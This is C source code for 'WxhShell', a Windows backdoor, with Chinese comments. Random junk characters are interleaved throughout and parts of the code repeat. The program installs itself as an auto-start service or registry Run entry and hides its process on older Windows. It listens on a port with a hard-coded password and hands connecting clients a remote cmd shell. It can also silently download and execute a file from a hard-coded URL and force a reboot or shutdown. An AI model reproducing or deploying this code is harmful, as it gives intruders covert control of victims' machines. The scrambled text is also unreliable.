T DWORD BasePriority; <~v4BiQ3l^ ULONG UniqueProcessId; mKV31wvK} ULONG InheritedFromUniqueProcessId; A>S7Ap4z> } PROCESS_BASIC_INFORMATION; N~`r;E F>n_k PROCNTQSIP NtQueryInformationProcess; Y4,p_6aKJ] _Fv6S}~Q static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JW2f 6!b static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j1K~zG SLN OOEN HANDLE hProcess; ]0%{IgB PROCESS_BASIC_INFORMATION pbi; }waZGJLN <.BY=z=H HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `2V{]F if(NULL == hInst ) return 0; 8<Yv:8%B6 <bhJ > g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >nK ( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RASk=B NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RCK* ?\m5 Y}yh6r;i if (!NtQueryInformationProcess) return 0; 3w[uc ~f |@R/JGB^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ly
v"2P if(!hProcess) return 0; @RoU mN R}%s
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g}9heR ]eFNR1<OP CloseHandle(hProcess); km
lb,P a #p`l>rx hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X
)
=-a if(hProcess==NULL) return 0; aGE}
EK } 7+[L6q/K HMODULE hMod; YLSDJ$K6 char procName[255]; /9P7;1? unsigned long cbNeeded; _wW"Tn] $mf6!p4 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ci 22fw0 m<cv3dbZo CloseHandle(hProcess); fG.6S"|M ^y|`\oyqwN if(strstr(procName,"services")) return 1; // 以服务启动 es+ZPX>Y L!ms{0rJ return 0; // 注册表启动 * "?,. } OMYbCy^ NW21{}=4 // 主模块 )B~{G\jS int StartWxhshell(LPSTR lpCmdLine) f|s,%AU"i { 7(LB} SOCKET wsl; OH
88d: BOOL val=TRUE; 5Go@1X]I int port=0; wb]Z4/j# struct sockaddr_in door; SEZ08:>x r irB}h!@ if(wscfg.ws_autoins) Install(); !@+4&B= {K/xI port=atoi(lpCmdLine); <
r b5' +tYskx/ if(port<=0) port=wscfg.ws_port; "oR%0pU* }1sd<<\` WSADATA data; $O\]cQD`u if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N#:W#C{16w [,z>msEB. if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l]IQjjJ` setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W7 T2j+] door.sin_family = AF_INET; `j.-hy>s door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8D^ iQBA door.sin_port = htons(port); |hu9)0P F22]4DLHO if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H}1XK|K3#H closesocket(wsl); UM+g8J{$*; return 1; >-`-D=!V } ai4ro"H 2)q$HUIX if(listen(wsl,2) == INVALID_SOCKET) { +]C|y ,r closesocket(wsl); U\YzE.G1]S return 1; g9=O<u# } 7Uh/Gl Wxhshell(wsl); D;DI8.4`N WSACleanup(); dFnu&u" _C$SaQty[Q return 0; 79'N/:. dW|S\S'& } dJ{'b'# <Lq.J`|+ // 以NT服务方式启动 9\6ZdnEKu, VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f kdJgK { %b ^.Gw\L DWORD status = 0; xw1n;IO4 DWORD specificError = 0xfffffff; U,~Z 2L sbFA{l3 serviceStatus.dwServiceType = SERVICE_WIN32; Reg%ah|$/= serviceStatus.dwCurrentState = SERVICE_START_PENDING; R&L^+? serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,L(q/#p serviceStatus.dwWin32ExitCode = 0; +C=^,B!, serviceStatus.dwServiceSpecificExitCode = 0; c 9zMI serviceStatus.dwCheckPoint = 0; }_?FmuU serviceStatus.dwWaitHint = 0; Z&J.8A]L 8d>>r69$pa hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Aq &H-g]s if (hServiceStatusHandle==0) return; jsw0"d( >t $^U status = GetLastError(); 0
|Rmb if (status!=NO_ERROR) - I j { mS-{AK serviceStatus.dwCurrentState = SERVICE_STOPPED; 1jj.oa] serviceStatus.dwCheckPoint = 0; +"[}gss!@ serviceStatus.dwWaitHint = 0; gG,gL9o serviceStatus.dwWin32ExitCode = status; 'v&f serviceStatus.dwServiceSpecificExitCode = specificError; 7{u1ynt SetServiceStatus(hServiceStatusHandle, &serviceStatus); xJE26i return; ~5_>$7L> } }& e#b]&:* (d=knoo7A
serviceStatus.dwCurrentState = SERVICE_RUNNING; X&|y| serviceStatus.dwCheckPoint = 0; /A%31WE&1 serviceStatus.dwWaitHint = 0; DI:"+KMq{ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !}&f2!?.W } ^36m$J $ 0BHSeO, // 处理NT服务事件,比如:启动、停止 ]}N&I_mU VOID WINAPI NTServiceHandler(DWORD fdwControl) uJt*> ;Kp { .!h`(>+@ switch(fdwControl) "@+r|x { `bRt_XGPmF case SERVICE_CONTROL_STOP: os`#:Ao5 serviceStatus.dwWin32ExitCode = 0; >l0D,-O]m serviceStatus.dwCurrentState = SERVICE_STOPPED; fBt`D
!Z8 serviceStatus.dwCheckPoint = 0; $3:O}X> serviceStatus.dwWaitHint = 0; f\M;m9{( { soB5sFt&] SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9uA2M!~i2 } Zd[6-/-: return; )?,X\/5 case SERVICE_CONTROL_PAUSE: Hd0?}w\ serviceStatus.dwCurrentState = SERVICE_PAUSED; A>Oi9%OY: break; ;{Su:Ixg case SERVICE_CONTROL_CONTINUE: dW2Lvnh!>/ serviceStatus.dwCurrentState = SERVICE_RUNNING; dIRSgJ` break; xrCb29{ case SERVICE_CONTROL_INTERROGATE: H83/X,"!w break; ){ ,v&[ }; =jW=Z$3q SetServiceStatus(hServiceStatusHandle, &serviceStatus); SXm Hn.? } '?v-o)X HPeN0=7> // 标准应用程序主函数 81/t)Cp int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %DF-;M"8 { C\C*'l6d Qo \;) // 获取操作系统版本 3/?{=
{ OsIsNt=GetOsVer(); $56Z/* GetModuleFileName(NULL,ExeFile,MAX_PATH); !TdbD56 *mj3 T
// 从命令行安装 N13wVx if(strpbrk(lpCmdLine,"iI")) Install(); v`KYhqTUl \>GHc} // 下载执行文件 p7d[)*
L>C if(wscfg.ws_downexe) { *^-~J/ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >$iQDVh! WinExec(wscfg.ws_filenam,SW_HIDE); j692M.A } xr'gi(.o j5qrM_Chg if(!OsIsNt) { S2EeC&-AR // 如果时win9x,隐藏进程并且设置为注册表启动 0!!z'm3
HideProc(); *1clPK StartWxhshell(lpCmdLine); /qX=rlQ/ n } O&De!Gx else %Ut7%obpi if(StartFromService()) ley:=( // 以服务方式启动 lZ` CFZR0 StartServiceCtrlDispatcher(DispatchTable); 4!
V--F else n%Gk
{h5 // 普通方式启动 5t&;>-A'?' StartWxhshell(lpCmdLine); b"C1 wnoL<p return 0; gu~F(Fb' } 8@Kvh| (lBwkQNQGd mUW4d3tE BLskUrPF =========================================== r.T!R6v} x^ruPiH +)eI8o0# )$_b? Y^~Dr|5% +vh 4I " chr^>%Q_ ;j]-;wg-; #include <stdio.h> p%+uv\Ix #include <string.h> AvS<b3EoN #include <windows.h> 2!+saf^-, #include <winsock2.h> <+wbnnK #include <winsvc.h> k;bdzcMkQ #include <urlmon.h> `/0S]?a.{B R;68C6 4 #pragma comment (lib, "Ws2_32.lib") <$]=Vaq #pragma comment (lib, "urlmon.lib") %3r`EIB6 ]a}K%D)H #define MAX_USER 100 // 最大客户端连接数 ^t'mfG|DV #define BUF_SOCK 200 // sock buffer #o]/&T=N= #define KEY_BUFF 255 // 输入 buffer Ur/+nL{ '4""Gz #define REBOOT 0 // 重启 =83FCq" #define SHUTDOWN 1 // 关机 G(~
s(r{%I <FfdOK_ #define DEF_PORT 5000 // 监听端口 6pHn%yE* !\ckUMZ\ #define REG_LEN 16 // 注册表键长度 Xj^Hy"HC^~ #define SVC_LEN 80 // NT服务名长度 @FBlF$vG n7r )wy // 从dll定义API .(7end< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?Thh7#7LM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {xzs{)9|Y4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $ MN1:ih typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +l "z kDz!v?Z2+B // wxhshell配置信息 ,'E+f% struct WSCFG { sKvz<7pag int ws_port; // 监听端口 *}hx9:9\B char ws_passstr[REG_LEN]; // 口令 X<OOgC int ws_autoins; // 安装标记, 1=yes 0=no *C(/2 char ws_regname[REG_LEN]; // 注册表键名 ZT\=:X*e char ws_svcname[REG_LEN]; // 服务名 /R2K3E# char ws_svcdisp[SVC_LEN]; // 服务显示名 ;E"TOC char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z+qTMm char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TbY<(wrMZ int ws_downexe; // 下载执行标记, 1=yes 0=no -/k;VT| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %SHjJCS3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yt+"\d tdl Y }; <d$L}uQwg vUX(h.}8 // default Wxhshell configuration B-@ ]+W struct WSCFG wscfg={DEF_PORT, Od?M4Ed( "xuhuanlingzhe", Hkcr+BQ 1, w
A0$d "Wxhshell", kFJ sB,2- "Wxhshell", errT7&@,A "WxhShell Service", E7_)P>aS5 "Wrsky Windows CmdShell Service", : " ([i" "Please Input Your Password: ", Vz"Ja 1, K,VN?t<h "http://www.wrsky.com/wxhshell.exe",
)N8[@ "Wxhshell.exe" Kn
WjP21 }; !yo/ F&6 L7_qs+ // 消息定义模块 qM."W=XVN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _x.<Zc\x char *msg_ws_prompt="\n\r? for help\n\r#>"; :|GC~JElo5 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W'
DpI7 char *msg_ws_ext="\n\rExit."; &m>yY{be char *msg_ws_end="\n\rQuit."; TTJFF\$? char *msg_ws_boot="\n\rReboot..."; m_
|:tU(t char *msg_ws_poff="\n\rShutdown..."; (#dwIBBFt char *msg_ws_down="\n\rSave to "; F|eKt/>e A@-A_=a, char *msg_ws_err="\n\rErr!"; YkPc& char *msg_ws_ok="\n\rOK!"; 63J_u-o XzX-Q'i=n0 char ExeFile[MAX_PATH]; O[N}@%HMW
int nUser = 0; *bl*R'; HANDLE handles[MAX_USER]; $*%ipD}f int OsIsNt; @Gh?|d7bD "|2|Vju% SERVICE_STATUS serviceStatus; f`8]4ms" SERVICE_STATUS_HANDLE hServiceStatusHandle; R::0.*FF /``4!jU // 函数声明 [>B`"nyNQ int Install(void); DE{tpN int Uninstall(void); Kc6p||< int DownloadFile(char *sURL, SOCKET wsh); 2WP73:'t int Boot(int flag); i.|zKjF' void HideProc(void); '^TQ Ubw int GetOsVer(void); peA}/Jc int Wxhshell(SOCKET wsl); E@/yg(?d= void TalkWithClient(void *cs); =~OH.=9\ int CmdShell(SOCKET sock); NA%(ZRSg( int StartFromService(void); x>u \ int StartWxhshell(LPSTR lpCmdLine); r[>=iim i|z=q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m.F \Mn VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZB+N[VJs) ST#OO! // 数据结构和表定义 (XQBBt SERVICE_TABLE_ENTRY DispatchTable[] = [hLSK-K 9 { BCw5.@HK* {wscfg.ws_svcname, NTServiceMain}, x1gf o!BN {NULL, NULL} -QUr|:SK: }; ?r~|B/] duCso M/ // 自我安装 m+f?+c6 int Install(void) M![aty@ { (QO8_ char svExeFile[MAX_PATH]; g UfLw HKEY key; nLA8Hy"8z strcpy(svExeFile,ExeFile); %n^jho5 /M:R|91:_ // 如果是win9x系统,修改注册表设为自启动 %0>DjzYt if(!OsIsNt) { $ BEIG@qG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e{ce
\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EFb1Y{u^\! RegCloseKey(key); ,a:!"Z^f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =@98Gl9! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Js`xTH' RegCloseKey(key); *5SOXrvhu6 return 0; "T*Sg } 20 j9~+ } o\_@4hXf } IZ<d~ [y else { 9t
3mU: UStNUNCq // 如果是NT以上系统,安装为系统服务 fM[Qn*. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {uurM`f}: if (schSCManager!=0) P1<Y7+n { (*.t~6c?5 SC_HANDLE schService = CreateService l?F&I.{J ( xQ4'$rL1d schSCManager, ^)r^k8y' wscfg.ws_svcname, On[:]# wscfg.ws_svcdisp, ~Rs_ep'+Q2 SERVICE_ALL_ACCESS, eR'Df"+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K$S:V=y%r7 SERVICE_AUTO_START, s0}OsHAj SERVICE_ERROR_NORMAL, @yBg)1AL svExeFile, &3
QdQn, NULL, 0P(U^rkR~ NULL, /H_,1Fu| NULL, ~16QdwK NULL, 0K\Xxo.= NULL TM|M#hMS ); ?tWcx;h:> if (schService!=0) <A"T_Rk { 7Z-'@m CloseServiceHandle(schService); ?o@5PL CloseServiceHandle(schSCManager);
E *[dc strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8PQn=k9 strcat(svExeFile,wscfg.ws_svcname); jv:!vi: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |N9::),< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `0l)\ RegCloseKey(key); 0?)U?=>]p return 0; xc%\%8C} } I3;{II } EXlmIY4 CloseServiceHandle(schSCManager); vvJ{fi } s
"KPTV } ^CIO,I 2$>"4
N return 1; 8|>$M } :r?gD2q _ >)+
u // 自我卸载 P\;L#2n int Uninstall(void) L5%t.7B { j2V"w&>b} HKEY key; gy|L!_1Z8 QXXB>gOY5 if(!OsIsNt) { s}MD;V&0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1Sk=;Bic RegDeleteValue(key,wscfg.ws_regname); l(-We.:( RegCloseKey(key); TO&ohATp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "O{_LOJ RegDeleteValue(key,wscfg.ws_regname); nz72w_ RegCloseKey(key); hE|Z~5\Y,> return 0; p.{M s n } V3%"z } 3;M7^DM } <eU1E}BDQ else { t')47k\ E5a1
7ra SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d~bZOy if (schSCManager!=0) 0GUm~zi1 { @Q!Jzw#B SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dj
Z;LE> if (schService!=0) F`/-Q>Q { 6OBe^/ZRt if(DeleteService(schService)!=0) { 8>T#sO?+ CloseServiceHandle(schService); Gm,vLs9H$T CloseServiceHandle(schSCManager); ^*CvKCS return 0; G?:{9. ( } ~}uv4;0l] CloseServiceHandle(schService); 8nt3Sm } .YV{w L@cB CloseServiceHandle(schSCManager); 1&zvf4 }
]/l" } HGuU6@~hu (HNxo{t return 1; ?hqHTH:PU } RJpH1XQ
j O$Wi=5 // 从指定url下载文件 1u?h4wC int DownloadFile(char *sURL, SOCKET wsh) #w%d { )7$1Da|. HRESULT hr; p`/"e<TP char seps[]= "/"; 8Ld`$_E char *token; j-l#n&M char *file; #xUX1( char myURL[MAX_PATH]; ``;.Oy6jS char myFILE[MAX_PATH]; ChvSUaCS Ban@$uf strcpy(myURL,sURL); *QKxrg token=strtok(myURL,seps); ]><K8N3Z while(token!=NULL) #[ei/p { /_WAF90R? file=token; $Hw
w token=strtok(NULL,seps); D-{;;<nIr` } Xk9mJ]31LC A
-C.Bi;/ GetCurrentDirectory(MAX_PATH,myFILE); ew13qpt)<L strcat(myFILE, "\\"); x)35}mi){L strcat(myFILE, file); (`W_ -PI send(wsh,myFILE,strlen(myFILE),0); 7a$K@iWU send(wsh,"...",3,0); vbt0 G-%Z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <x QvS^|[ if(hr==S_OK) zKh^BwhO|X return 0; i-.]onR else v'Y0|9c return 1; &a;{ed1B !,Ou:E?Bb } uDtml$9rN Vd+qi~kA // 系统电源模块 l*r8.qp int Boot(int flag) /KU9sIE; { *~h@K Qm7 HANDLE hToken; {gL8s
TOKEN_PRIVILEGES tkp; M =/+q +3>)r{#k if(OsIsNt) { OC?a[^hB^) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?;GbK2\bj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YC!IIE_ tkp.PrivilegeCount = 1; .<m${yU{3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fL^$G;_?3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {yo{@pdX> if(flag==REBOOT) { HbOLf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m|')
A return 0; O/XG}G.x| } C F,-l
B else { #mIgk'kW< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #EG
W76
f return 0; dd+hX$, } H{)DI(,Y^P } l|kGp~ else { ftb .CPWI if(flag==REBOOT) { T!f+H?6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VyMFALSe]h return 0; ?l> <?i } Vn=K5nm else { ?[Sac]h
ys if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Cs!z3QU return 0; |o@xWs@m } w@![rH6~F
} `4SwdW n D'8xP %P return 1; MyZ5~jnr\ } &GfDo4$ N9dx^+\ // win9x进程隐藏模块 `{oFdvL~) void HideProc(void) 5cUz^ > { ;b`kN;s e,?qwZK:y HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nF5\iV if ( hKernel != NULL ) HZawB25{ { Y5ZBP?P pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r"_U-w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^ g'P
H{68 FreeLibrary(hKernel); 5i0vli/L } ]/#3 P yI{4h $c return; `o4%UkBpM } ykS-5E` .A Dik}o // 获取操作系统版本 *^3&Y@ int GetOsVer(void) JBI> D1`" { ^XgBkC~ OSVERSIONINFO winfo; gcA,u)z}R winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9Ai3p GetVersionEx(&winfo); z%q)}$O if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \H4$9lPk return 1; V;LV),R? else b Y2:g ) return 0; ,k9xI<i } O>@ChQF
O`^dy7>{U // 客户端句柄模块 vNDf1B5z int Wxhshell(SOCKET wsl) D_Zt:tzO { ,%T
sfB SOCKET wsh; 4[lym,8C struct sockaddr_in client; Xk(p:^ R DWORD myID; BhzcimC) 4T>d%Tt+) while(nUser<MAX_USER) ]<BT+6L { 8x`EUJ int nSize=sizeof(client); Ods~tM wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c }7gHud if(wsh==INVALID_SOCKET) return 1; YXLZ2-%ohZ Vv&GyqoO] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Pb}Iiq= if(handles[nUser]==0) Z [YSET closesocket(wsh); Kgw,]E&7 else vnx+1T nUser++; p_B5fm7#6W } XY,!vLjL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _[pbfua Ew )1O9f return 0; bO'?7=SC } 3rj7]:Vr 7Tc^}Q // 关闭 socket cz41<SFL void CloseIt(SOCKET wsh) MMy\u) 4 { -KL5sK closesocket(wsh); -PCFOm" nUser--; #G]g ExitThread(0); O%1uBc } T(=Z0M V`4/oM` // 客户端请求句柄 Gm[XnUR7V void TalkWithClient(void *cs) C/!7E: { 'j\~> a3\ bo-lT-I SOCKET wsh=(SOCKET)cs; |Sv}/P- char pwd[SVC_LEN]; `hDH7u!U. char cmd[KEY_BUFF]; YJF|J2u char chr[1]; /^9=2~b int i,j; ?/fC"MJq? ,R}9n@JI^Y while (nUser < MAX_USER) { ncpNesB wz{&0-md*' if(wscfg.ws_passstr) { S@@#L if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UE-1p //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N (0%C? //ZeroMemory(pwd,KEY_BUFF); Y?V.O i=0; X- j@#Qb while(i<SVC_LEN) { Z_4|L+i<{ avY<~-44B // 设置超时 .naSK`J,` fd_set FdRead; {XH3zMk[ struct timeval TimeOut; k !V@Q!>, FD_ZERO(&FdRead); K2gF;( FD_SET(wsh,&FdRead); Q"QZ^!zRl TimeOut.tv_sec=8; 98*C/=^TH{ TimeOut.tv_usec=0; 6lm<>#_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); moCR64n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6eQa@[.Q !l$k6,WJi if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r8>Qs RnU% pwd=chr[0]; ub]s>aqy if(chr[0]==0xd || chr[0]==0xa) { v$Xoxp pwd=0; p^s:s-"f\ break; ZKJhmk } u =lsH i++; YJ}9VY<}1K } t8ORfO+ Prrz> // 如果是非法用户,关闭 socket _ZE&W if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c#Qlr{ES } riQ0'-p m$VCCDv send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L=gG23U& send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qS?^(Vt|R #kgLdd" while(1) { 0lU
pil N_E)f ZeroMemory(cmd,KEY_BUFF); T%yGSk <=!FB8 . // 自动支持客户端 telnet标准 "%w E>E j=0; U^kk0OT^ while(j<KEY_BUFF) { w&*oWI$i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eMtQa;Lc9o cmd[j]=chr[0]; #i=m%>zjN if(chr[0]==0xa || chr[0]==0xd) { i)(-Ad_ cmd[j]=0; HfEl
TC:3f break; =vsvx{o? } a>&dAo} j++; Zd]ua_)I%[ } M63t4; 0A )O8w'4P5 // 下载文件 ^fP5@T*f if(strstr(cmd,"http://")) { IeAi ' send(wsh,msg_ws_down,strlen(msg_ws_down),0); C3KAQU if(DownloadFile(cmd,wsh)) n2Y a'YF send(wsh,msg_ws_err,strlen(msg_ws_err),0); N7!(4|14 else "(iQ-g Mm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "}b/[U@> } \eXuNv_ else { |=[._VH1 @xr}(. switch(cmd[0]) { jP.dQj^j& G[]h1f! // 帮助 v)~!HCG case '?': { 2BO"mc<#$ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #Eqx Eo; break; 6M[OEI5 } Bqw/\Lxwlf // 安装 s14ot80) case 'i': { 5}2148 if(Install()) YoSBS send(wsh,msg_ws_err,strlen(msg_ws_err),0); X$=/H 6R5Z else ]+Z,HY@;- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >6|Xvtf break; %?J-0 } ZQyX zERp // 卸载 zor case 'r': { 6%MM)Vj+u if(Uninstall()) \q"vC1,9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); n`D-?]* else m,Mg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2^)_XVX1 break; _Nf%x1m5s } =(Y+u // 显示 wxhshell 所在路径 [f?x,W~ case 'p': { 0y%s\,PsT char svExeFile[MAX_PATH]; S~B{G T\M strcpy(svExeFile,"\n\r"); Zbf~E { strcat(svExeFile,ExeFile); ,Y@4d79 send(wsh,svExeFile,strlen(svExeFile),0); IO"q4(&;P4 break; yY!@FGsA } o4,9jk$ // 重启 &(NW_<( case 'b': { 'JJ : send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); of>H&G)@ if(Boot(REBOOT)) A`V:r2hnb send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~n%]u! 6 else { Q
822 # closesocket(wsh); 4{%-r[C9k ExitThread(0); PQ"v } Wqe0m_7 break; " t,ZO } ,D' bIk // 关机 @DlN;r?Cv case 'd': { rEjEz+wu send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <-HWs@8# if(Boot(SHUTDOWN)) JTTI`b2l_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); e09QaY else { "sed{? closesocket(wsh); X\5EF7:S ExitThread(0); !(sL } G;]zX<2^3 break; 8<
"lEL| } mzcxq:uZ5 // 获取shell nX<yB9bXDg case 's': { Ll`nO;h CmdShell(wsh); \F<C$cys\ closesocket(wsh); Wv30;7~ ExitThread(0); nbBox,zW break; y27MG } +u3vKzD // 退出 pz]KUQ case 'x': { <q=]n%nX send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v>5TTL~? CloseIt(wsh); ~zFwSF break; c1 1?Kq } \7Fp@ .S3 // 离开 5Z[HlN|-! case 'q': { $SU<KNMZ send(wsh,msg_ws_end,strlen(msg_ws_end),0); 64SRW8AH closesocket(wsh); O*9d[jw[ WSACleanup(); IW=%2n(<1 exit(1); "Jg*
/F break; d V3R) } T5aeO^x } "MDy0Tj8EN } ~'LoIv20j) l>pnY%(A // 提示信息 M aP - if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tw<}7l_>Au } oSH]TL2@Cd } *-@@t+3 Pk:b:(4 return; 9)'wgI# } H4BuxM_r +[#^c3x2 // shell模块句柄 fAD
{sg int CmdShell(SOCKET sock) (n2=.9k! { [L?WM>]% STARTUPINFO si; V QbKrnX ZeroMemory(&si,sizeof(si)); /Mw0<# si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oMKG M@V si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WISeP\:^ PROCESS_INFORMATION ProcessInfo; *-s':('R char cmdline[]="cmd"; +`TwBN,kp- CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p9eTrFDy? return 0; nu6v@<<F> } $
3R5p xS_tB)C // 自身启动模式 ;eP.B/N int StartFromService(void) nDXy$f8 { Su k;##I typedef struct |q 0iX2W { qO>A6 DWORD ExitStatus; vcSb:(' DWORD PebBaseAddress; MwWN;_#EO) DWORD AffinityMask; NZuylQ)0 DWORD BasePriority; ":L d}~> ULONG UniqueProcessId; Ar`U/ %Cu ULONG InheritedFromUniqueProcessId; BsYJIKfW } PROCESS_BASIC_INFORMATION; sl*&.F,v= OmaG|2u PROCNTQSIP NtQueryInformationProcess; 4x" je R'aA\k- static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8-)@q| static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }QJ6"s
sDXQ{*6a HANDLE hProcess; D#11
N^-K PROCESS_BASIC_INFORMATION pbi; |k)Nf+(}W
k'K 1zUBj HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }Q_ }c9? if(NULL == hInst ) return 0; ;uqi - S%8 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {?]& |